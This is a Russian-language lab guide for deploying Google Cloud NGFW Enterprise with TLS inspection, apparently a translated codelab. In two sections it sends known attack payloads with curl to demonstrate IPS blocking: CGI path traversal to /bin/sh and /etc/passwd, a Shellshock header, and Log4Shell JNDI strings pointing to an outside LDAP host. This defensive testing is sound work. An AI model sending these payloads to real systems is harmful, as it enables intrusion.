Практическая работа по Cloud NGFW Enterprise (с проверкой TLS)

1. Введение

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall – это полностью распределенный сервис брандмауэра с расширенными возможностями защиты, микросегментацией и широким охватом для защиты рабочих нагрузок Google Cloud от внутренних и внешних атак.

Cloud NGFW имеет следующие преимущества:

  • Распределенный сервис брандмауэра. Cloud NGFW обеспечивает применение с отслеживанием состояния, полностью распределенное на основе хоста для каждой рабочей нагрузки, чтобы обеспечить архитектуру безопасности с нулевым доверием.
  • Простая настройка и развертывание. Cloud NGFW реализует сетевые и иерархические правила брандмауэра, которые можно прикрепить к узлу иерархии ресурсов. Эти правила обеспечивают согласованную работу брандмауэра в иерархии ресурсов Google Cloud.
  • Точный контроль и микросегментация. Сочетание правил брандмауэра и тегов, управляемых Identity and Access Management (IAM), обеспечивает точный контроль трафика север-юг и восток-запад вплоть до одной виртуальной машины в сетях виртуального частного облака (VPC) и организациях.

Cloud NGFW доступен на следующих уровнях:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise добавляет в распределенную структуру Google Cloud Firewall сервис предотвращения вторжений (IPS) и дополнительные возможности расширенной песочницы для вредоносного ПО (WildFire), которые являются сервисами проверки уровня 7. Поддерживается проверка TLS, которая позволяет выполнять глубокую проверку и анализ файлов для трафика, зашифрованного по протоколу TLS.

Теперь вы можете развернуть надежные проверки брандмауэра нового поколения (NGFW) на уровне 7 с детализированными элементами управления, не внося никаких изменений в архитектуру сети или конфигурации маршрутизации.

Чтобы активировать и развернуть управление брандмауэром уровня 7 с IPS и дополнительной расширенной песочницей для вредоносного ПО, выполните следующие действия:

  • Создайте набор управляемых зональных конечных точек брандмауэра Google Cloud (при необходимости включите расширенную песочницу для вредоносного ПО).
  • При необходимости создайте правило проверки TLS.
  • При необходимости создайте конфигурацию доверия.
  • Свяжите эти конечные точки с сетями виртуального частного облака (VPC), в которых вам нужен сервис Cloud NGFW Enterprise.
  • Внесите простые изменения в существующие правила брандмауэра, чтобы указать профили безопасности для предотвращения угроз и дополнительной расширенной изолированной среды для вредоносного ПО для различных путей трафика.

Правила сетевого брандмауэра

Правила сетевого брандмауэра выступают в качестве контейнера для правил брандмауэра. Правила, определенные в правилах сетевого брандмауэра, не применяются нигде, пока правила не будут связаны с сетью VPC. С каждой сетью VPC можно связать одну сетевую политику брандмауэра. Правила сетевого брандмауэра поддерживают теги, управляемые IAM (или просто теги), в правилах брандмауэра, которые заменяют текущие сетевые теги и могут использоваться для идентификации рабочей нагрузки.

Общий доступ к правилам сетевого брандмауэра в разных сетях и интеграция с тегами, управляемыми IAM, значительно упрощают настройку брандмауэров и управление ими.

С появлением правил сетевого брандмауэра правила брандмауэра Google Cloud теперь состоят из следующих компонентов:

  1. Иерархические правила брандмауэра
  2. Правила брандмауэра VPC
  3. Правила сетевого брандмауэра ( глобальные и региональные)

Иерархические правила брандмауэра поддерживаются на уровне организации и папки в иерархии ресурсов, а правила брандмауэра VPC и правила сетевого брандмауэра применяются на уровне VPC. Основное различие между правилами брандмауэра VPC и правилами сетевого брандмауэра заключается в том, что правила брандмауэра VPC можно применять только к одной сети VPC, а правила сетевого брандмауэра можно прикрепить к одной сети VPC или группе сетей VPC. Кроме того, правила сетевого брандмауэра поддерживают пакетные обновления.

Наконец, у нас также есть неявные правила брандмауэра, которые поставляются с каждой сетью VPC:

  • Правило для исходящего трафика, действие которого – "Разрешить", а назначение – 0.0.0.0/0.
  • Правило для входящего трафика, действие которого – запретить, а источник – 0.0.0.0/0.

По умолчанию последовательность применения мер выглядит так, как показано на схеме ниже.

21b3bcabc469ffe.png

Обратите внимание, что порядок применения правил брандмауэра VPC и правил брандмауэра глобальной сети можно поменять. Клиенты могут в любое время указать порядок применения с помощью команды gcloud.

Теги

Новые теги, интегрированные в правила сетевого брандмауэра, представляют собой ресурсы пар "ключ-значение", определенные на уровне организации или проекта в иерархии ресурсов Google Cloud. Такой тег содержит элементы контроля доступа IAM, которые определяют, кто и что может делать с тегом. Например, разрешения Identity and Access Management (IAM) позволяют указать, какие субъекты могут присваивать значения тегам и какие субъекты могут прикреплять теги к ресурсам. Если правило брандмауэра сети ссылается на тег, оно должно быть применено к ресурсу для принудительного применения.

Теги соответствуют модели наследования ресурсов Google Cloud, то есть теги и их значения передаются по иерархии от родительских ресурсов. В результате теги могут быть созданы в одном месте, а затем использоваться другими папками и проектами по всей иерархии ресурсов. Подробную информацию о тегах и ограничении доступа можно найти на этой странице.

Не путайте теги с тегами сети. Последние представляют собой строки, которые можно добавлять в экземпляры Compute Engine. Они связаны с экземпляром и исчезают, когда экземпляр выводится из эксплуатации. Правила брандмауэра VPC могут включать теги сети, но поскольку они не считаются облачными ресурсами, на них не распространяется контроль доступа IAM.

Обратите внимание, что в этом документе термины "теги" и "теги, управляемые IAM" используются как взаимозаменяемые.

Что вы создадите

Для этой практической работы требуется один проект и возможность создать сеть VPC, а также управлять рядом сетевых ресурсов и ресурсов безопасности. Вы узнаете, как Cloud NGFW Enterprise может обеспечить функциональность IPS и Advanced malware sandbox (WildFire) за счет:

  • Проверка исходящего интернет-трафика с помощью проверки TLS
  • Проверка трафика между VPC (East-West) с проверкой TLS
  • [Необязательно] Настройка и проверка отправки файлов в расширенную изолированную среду для вредоносного ПО и криминалистического анализа неизвестных угроз в файлах в трафике, проверенном по TLS

Потоки, которые нужно проверить, будут выбраны с помощью параметров сопоставления Cloud Firewall, включая кортеж из пяти элементов (исходный IP-адрес, целевой IP-адрес, протокол, исходный порт, целевой порт) и теги.

3d0f288d3b92a295.png

Конечная база правил сетевого брандмауэра будет выглядеть примерно так, как показано в таблице ниже.

Приоритет

Направление

Target

Источник

Место назначения

Действие

Тип

100

Ingress

Server_Tag

Проверки состояния

Все

Разрешить

Essentials

200

Ingress

Client_Tag, Server_Tag

IAP

Все

Разрешить

Essentials

800

Ingress

Server_Tag

10.0.0.0/24

10.0.0.0/24

Проверка L7

Enterprise

850

Исходящий трафик

Client_Tag

Все

10.0.0.0/24

Разрешить

Essentials

900

Исходящий трафик

Client_Tag

Все

Все

Проверка L7

Enterprise

Что вы узнаете

  • Как создать политику брандмауэра сети.
  • Как создавать и использовать теги с правилами сетевого брандмауэра.
  • Как настроить и использовать Cloud NGFW Enterprise с проверкой TLS.
  • [Необязательно] Как настроить и проверить расширенную изолированную среду для вредоносного ПО (WildFire) для неизвестных угроз, связанных с файлами.

Что вам понадобится

  • проект Google Cloud.
  • Знание того, как развертывать экземпляры и настраивать сетевые компоненты.
  • Знание конфигурации брандмауэра VPC.

2. Подготовка

Создание и обновление переменных

В этой практической работе используются переменные, которые помогают реализовать конфигурацию gcloud в Cloud Shell.

В Cloud Shell выполните приведенные ниже команды, заменив информацию в скобках:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Как включить API

Если вы ещё не включили API, сделайте это:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Создание конечной точки Cloud NGFW Enterprise

Поскольку создание конечной точки Cloud NGFW Enterprise занимает около 20 минут, она будет создана первой, а базовая настройка может быть выполнена параллельно с созданием конечной точки.

Создайте профиль безопасности и группу профилей безопасности:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Убедитесь, что ресурсы созданы:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Создайте конечную точку Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Выполните команду ниже, чтобы убедиться, что конечная точка создается (CREATING) или уже активна (ACTIVE), если вы использовали --no-async.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может отличаться в зависимости от используемого клиента):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Чтобы получить дополнительные сведения, выполните следующую команду:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Процесс создания занимает около 20 минут. Перейдите к разделу "Базовая настройка", чтобы создать необходимые ресурсы.

5. Базовая настройка

Сеть и подсеть VPC

Сеть VPC и подсеть

Создайте сеть VPC и подсеть:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Создайте маршрутизатор Cloud Router и шлюз Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Экземпляры

Создайте экземпляры клиента и веб-сервера:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Теги на уровне проекта

При необходимости назначьте пользователю разрешение tagAdmin:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Создайте ключ и значения тега на уровне проекта:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Привяжите теги к экземплярам:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Глобальные правила сетевого брандмауэра

Создайте глобальное правило сетевого брандмауэра:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Создайте необходимые правила Cloud Firewall Essential, чтобы разрешить трафик из диапазонов health-check и identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Создайте необходимые правила Cloud Firewall, чтобы разрешить входящий трафик между подсетями и внутри подсети из определенных диапазонов (эти правила будут обновлены, чтобы включить Cloud NGFW Enterprise с проверкой TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Свяжите правило облачного брандмауэра с сетью VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Связь конечной точки Cloud Firewall

Определите переменные среды, если вы ещё этого не сделали и/или предпочли использовать скрипт.

Убедитесь, что конечная точка Cloud Firewall успешно создана. Продолжайте только после того, как статус изменится на ACTIVE (во время создания статус будет CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может отличаться в зависимости от используемого клиента):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Чтобы получить дополнительные сведения, выполните следующую команду:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Свяжите конечную точку Cloud Firewall с сетью VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Процесс связывания занимает около 10 минут. Переходите к разделу TLS, только когда статус изменится на ACTIVE (во время создания статус будет CREATING):

gcloud network-security firewall-endpoint-associations list

Ожидаемый результат:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Чтобы получить дополнительные сведения, выполните следующую команду:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Настройка ресурсов TLS

Создайте пул ЦС. Этот ресурс будет использоваться для размещения сертификата корневого ЦС, который мы генерируем для NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Создайте корневой ЦС. Это сертификат ЦС, который будет использоваться для подписания дополнительных сертификатов для запросов через NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Если появится сообщение, показанное ниже, введите y.

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Создайте сервисный аккаунт. Этот сервисный аккаунт будет использоваться для запроса сертификатов для NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Настройте разрешения IAM для сервисного аккаунта:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Создайте YAML-файл правил TLS. В этом файле будет содержаться информация о конкретных ресурсах:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Импортируйте правило проверки TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Обновите связь конечной точки, чтобы включить TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Получите сертификат ЦС и добавьте его в хранилище ЦС клиента:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Перенесите сертификат ЦС на клиент:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Подключитесь к виртуальной машине по SSH, переместите сертификат ЦС в каталог /usr/local/share/ca-certificates и обновите хранилище ЦС:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Вернитесь в Cloud Shell.

Процесс подписания сертификата сервера:

В Cloud Shell установите криптографическую библиотеку Pyca с помощью команды pip:

pip install --user "cryptography>=2.2.0"

Чтобы разрешить Google Cloud SDK использовать криптографическую библиотеку Pyca, необходимо включить пакеты сайтов.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Создайте сертификат сервера:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

В Cloud Shell будут созданы файлы cert.pem и key.pem. Затем перенесите сертификат и ключ на сервер.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Подключитесь к серверу по SSH, чтобы обновить данные сертификата для Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Переместите сертификат и ключ в определенную папку:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Обновите конфигурацию SSL, чтобы использовать подписанный сертификат:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Перезапустите Apache:

sudo systemctl restart apache2

Проверьте статус Apache:

sudo systemctl status apache2

Она должна быть активна (запущена).

Выйдите из ВМ и продолжите работу в Cloud Shell.

8. Проверка подключения к северу и востоку/западу

Выполните в Cloud Shell приведенные ниже команды и запишите целевые IP-адреса, которые будут использоваться.

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Откройте новую вкладку и инициируйте SSH-подключение к клиентской виртуальной машине через IAP (вам нужно будет определить переменные в новой вкладке):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Выполните команды ниже и запишите целевые IP-адреса, которые будут использоваться. Создайте переменные, заменив значения в скобках IP-адресами, записанными на предыдущем шаге, и убедитесь, что они доступны:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Выполните команду curl для частного IP-адреса и убедитесь, что он доступен:

curl https://$target_privateip --max-time 2

Ожидаемые результаты запроса curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Отправьте на IP-адрес тестовые атаки. Веб-сервер должен отвечать на все запросы, подтверждая, что проверка/предотвращение L7 не выполняется:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Пример ожидаемых результатов (частный IP-адрес):

400
404
400
200
200

Аналогичным образом отправьте запросы к интернет-ресурсу:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Пример ожидаемых результатов (интернет-ресурс):

400
404
400
403
403

Выйдите из терминала виртуальной машины и вернитесь в Cloud Shell.

9. Как создать и обновить правила брандмауэра для проверки TLS

Ранее мы настроили правило брандмауэра, разрешающее входящий трафик на наш сервер из внутренней подсети. Теперь мы обновим существующие правила для входящего трафика и зададим действие apply_security_profile_group. Это позволит включить проверку трафика между виртуальными машинами на уровне 7 с TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Создайте новое правило для проверки трафика L7, направленного на север, с помощью TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Создайте новое правило, разрешающее исходящий трафик для E/W, чтобы предотвратить двойную проверку.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Проверка проверки TLS для исходящего трафика

Переключитесь на вкладку клиентской виртуальной машины или подключитесь снова:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Отправьте тестовые атаки на интернет-адрес:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Ответы не получены, как и ожидалось. Это подтверждает, что тестовые атаки блокируются.

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Задайте для переменной IP-адрес сервера, который вы получили ранее:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Отправьте на сервер тестовые запросы TLS:

curl https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Почему запрос не был выполнен? Это связано с тем, что брандмауэр получает от сервера сертификат, которому нет доверия. В этом случае клиенту будет возвращен самозаверяющий сертификат. Чтобы включить доверие, необходимо добавить сертификат ЦС в конфигурацию доверия.

Вернитесь в Cloud Shell.

11. Как настроить конфигурацию доверия

Получите сертификат корневого ЦС и задайте его в качестве переменной с правильным форматированием.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Настройте YAML-файл конфигурации доверия. Этот файл содержит сведения о доверии, например сертификаты ЦС:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

В приведенных выше командах сертификат корневого ЦС был включен в хранилище доверия, поскольку сертификат сервера был подписан с помощью корневого ЦС. Это означает, что брандмауэр будет доверять всем полученным сертификатам, подписанным вашим корневым ЦС, а также общедоступным ЦС, если для параметра excludePublicCaSet в правиле TLS задано значение False.

Проверьте содержимое конфигурации доверия.

cat trust_config.yaml

Пример результата:

Обратите особое внимание на выравнивание отступов сертификата. Формат должен быть именно таким.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Импортируйте конфигурацию доверия:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

